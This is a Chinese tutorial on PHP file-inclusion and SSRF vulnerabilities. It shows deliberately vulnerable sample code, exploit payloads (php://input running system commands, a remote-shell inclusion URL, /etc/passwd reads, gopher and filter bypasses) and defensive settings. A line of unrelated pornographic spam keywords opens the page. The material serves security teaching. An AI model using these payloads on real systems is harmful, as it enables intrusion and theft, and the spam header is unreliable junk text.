亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

PHP安全漏洞之文件包含與SSRF攻擊全解析

 更新時間:2025年06月08日 09:36:27   作者:Bruce_xiaowei  
在Web安全領(lǐng)域,PHP應(yīng)用程序的安全問題一直備受關(guān)注,本文將深入探討兩種常見的PHP安全漏洞,文件包含漏洞和服務(wù)器端請求偽造SSRF,有需要的小伙伴可以了解下

前言

在Web安全領(lǐng)域,PHP應(yīng)用程序的安全問題一直備受關(guān)注。本文將深入探討兩種常見的PHP安全漏洞:文件包含漏洞和服務(wù)器端請求偽造(SSRF),幫助開發(fā)者理解漏洞原理、利用方式以及防御措施。

第一部分:文件包含漏洞詳解

什么是文件包含漏洞

文件包含漏洞是PHP應(yīng)用程序中常見的安全問題,當(dāng)開發(fā)者使用包含函數(shù)引入文件時,如果傳入的文件名參數(shù)未經(jīng)嚴(yán)格校驗,攻擊者就可能利用這個漏洞讀取敏感文件甚至執(zhí)行惡意代碼。

危險函數(shù)

PHP中有四個主要的文件包含函數(shù):

  • include()
  • include_once()
  • require()
  • require_once()

文件包含漏洞類型

1. 本地文件包含(LFI)

利用方式:

  • 直接讀取Flag文件
  • 通過PHP偽協(xié)議讀取源代碼
  • 寫入PHP木馬獲取webshell

示例代碼:

<?php
$file = $_GET['file'];
if(file_exists('/home/www/'.$file.'.php')) {
    include '/home/www/'.$file.'.php';
} else {
    include '/home/www/'.'home.php';
}
?>

利用方法:

http://www.example.com/demo1.php?file=flag.php%00

2. PHP偽協(xié)議利用

常用偽協(xié)議:

file:// 協(xié)議:

http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt

php://filter:

http://example.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

php://input:

POST /index.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>

3. 遠(yuǎn)程文件包含(RFI)

必要條件:

  • allow_url_fopen = On
  • allow_url_include = On

示例代碼:

<?php
$basePath = @$_GET['param'];
require_once $basePath.'/action/m_share.php';
?>

利用方法:

http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?

防御措施

1.白名單驗證

2.禁用危險配置:

allow_url_fopen = Off
allow_url_include = Off

3.設(shè)置open_basedir

4.嚴(yán)格校驗用戶輸入

5.避免動態(tài)包含

第二部分:SSRF漏洞深入解析

什么是SSRF?

SSRF(Server-Side Request Forgery)是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求的安全漏洞。攻擊者可以利用此漏洞訪問外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。

常見危險函數(shù)

1.file_get_contents()

<?php
if (isset($_POST['url'])) {
    $content = file_get_contents($_POST['url']);
    $filename = '/images/'.rand().'img1.jpg';
    file_put_contents($filename, $content);
    echo $_POST['url'];
    $img = "<img src=\"".$filename."\"/>";
    echo $img;
}
?>

2.fsockopen()

<?php
function GetFile($host, $port, $link) {
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr (error number $errno) \n";
    } else {
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $contents = '';
        while (!feof($fp)) {
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
?>

3.curl_exec()

<?php
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj, CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($curlobj);
    curl_close($curlobj);
    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result);
    echo $result;
}
?>

SSRF繞過技巧

1. IP編碼繞過

使用xip.io域名:

10.0.0.1.xip.io

IP轉(zhuǎn)換為10進(jìn)制

2. 協(xié)議變換

Dict協(xié)議:

dict://192.168.1.1:8080/test:dict

Gopher協(xié)議:

gopher://192.168.1.1/gopher

File協(xié)議:

file:///etc/passwd

3. Gopher協(xié)議高級利用

Gopher協(xié)議可以多種服務(wù):

FTP
Telnet
Redis
Memcache

Redis攻擊示例:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

4. filter_var()繞過

<?php
$url = $_GET['url'];
echo "Argument: ".$url. "\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {
    $r = parse_url($url);
    var_dump($r);
    if (preg_match('/skysec\.top$/', $r['host'])) {
        exec("curl -v -s ".$r['host']."", $a);
    } else {
        echo "Error: Host not allowed";
    }
} else {
    echo "Error: Invalid URL";
}
?>

繞過方法:

http://example.com/test.php?url=0://192.168.1.1.com:8080;skysec.top:80/

5. 30x跳轉(zhuǎn)繞過

<?php
$url = $_GET['url'];
print $url;
curl($url);
function curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_exec($ch);
    curl_close($ch);
}

防御SSRF的最佳實踐

限制協(xié)議:只允許HTTP和HTTPS

禁止訪問內(nèi)網(wǎng)IP

設(shè)置URL白名單

禁用CURLOPT_FOLLOWLOCATION

使用DNS解析結(jié)果校驗

過濾返回信息

結(jié)語

文件包含和SSRF漏洞都可能對Web應(yīng)用造成嚴(yán)重威脅。作為開發(fā)者,理解這些漏洞的原理和利用方式,才能更好地防御它們。安全是一個持續(xù)的過程,需要開發(fā)者保持警惕并不斷更新知識。

到此這篇關(guān)于PHP安全漏洞之文件包含與SSRF攻擊全解析的文章就介紹到這了,更多相關(guān)PHP安全漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • PHP連接SQL server數(shù)據(jù)庫測試腳本運(yùn)行實例

    PHP連接SQL server數(shù)據(jù)庫測試腳本運(yùn)行實例

    這篇文章主要介紹了PHP連接SQL server數(shù)據(jù)庫測試腳本運(yùn)行實例,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-08-08
  • PHP CKEditor 上傳圖片實現(xiàn)代碼

    PHP CKEditor 上傳圖片實現(xiàn)代碼

    CKEditor的原包中沒有包含圖片的上傳服務(wù)器端處理文件,其公司的另一款開源產(chǎn)品:CKFinder做了很好的補(bǔ)充。但是要下載這個源代碼再進(jìn)行配置,雖然方便了很多,但是僅僅為了上傳圖片,卻要使用這么大的整個系統(tǒng)來使用,確實有點大材小用。
    2009-11-11
  • PHP實現(xiàn)執(zhí)行外部程序的方法詳解

    PHP實現(xiàn)執(zhí)行外部程序的方法詳解

    這篇文章主要介紹了PHP實現(xiàn)執(zhí)行外部程序的方法,結(jié)合實例形式分析了php執(zhí)行外部程序的常用函數(shù)相關(guān)使用技巧與注意事項,需要的朋友可以參考下
    2017-08-08
  • 關(guān)于PHP自動判斷字符集并轉(zhuǎn)碼的詳解

    關(guān)于PHP自動判斷字符集并轉(zhuǎn)碼的詳解

    本篇文章是對PHP自動判斷字符集并轉(zhuǎn)碼進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下
    2013-06-06
  • PHP實現(xiàn)對站點內(nèi)容外部鏈接的過濾方法

    PHP實現(xiàn)對站點內(nèi)容外部鏈接的過濾方法

    這篇文章主要介紹了PHP實現(xiàn)對站點內(nèi)容外部鏈接的過濾方法,可實現(xiàn)針對外部鏈接增加rel="nofollow"的功能,有助于網(wǎng)站SEO建設(shè)以及避免不必要的損失,是非常實用的技巧,需要的朋友可以參考下
    2014-09-09
  • PHP網(wǎng)站安裝程序制作的原理、步驟、注意事項和示例代碼

    PHP網(wǎng)站安裝程序制作的原理、步驟、注意事項和示例代碼

    其實PHP程序的安裝原理無非就是將數(shù)據(jù)庫結(jié)構(gòu)和內(nèi)容導(dǎo)入到相應(yīng)的數(shù)據(jù)庫中,從這個過程中重新配置連接數(shù)據(jù)庫的參數(shù)和文件,為了保證不被別人惡意使用安裝文件,當(dāng)安裝完成后需要修改安裝文件。
    2010-08-08
  • 在任意字符集下正常顯示網(wǎng)頁的方法一

    在任意字符集下正常顯示網(wǎng)頁的方法一

    在任意字符集下正常顯示網(wǎng)頁的方法一...
    2007-04-04
  • PHP實現(xiàn)生成模糊圖片的方法示例

    PHP實現(xiàn)生成模糊圖片的方法示例

    這篇文章主要介紹了PHP實現(xiàn)生成模糊圖片的方法,涉及php高斯算法實現(xiàn)圖片模糊功能相關(guān)實現(xiàn)技巧,需要的朋友可以參考下
    2017-12-12
  • php json_encode奇怪問題說明

    php json_encode奇怪問題說明

    php json_encode奇怪問題說明,使用json_encode的朋友可以參考下。
    2011-09-09
  • PHP 遠(yuǎn)程關(guān)機(jī)實現(xiàn)代碼

    PHP 遠(yuǎn)程關(guān)機(jī)實現(xiàn)代碼

    大家都知道PHP是用于開發(fā)網(wǎng)站的腳本語言,但在網(wǎng)上學(xué)習(xí)時發(fā)現(xiàn)了下面的這一段php腳本代碼,它可以實現(xiàn)遠(yuǎn)程關(guān)閉計算機(jī),懂PHP的朋友來研究一下吧。
    2009-11-11

最新評論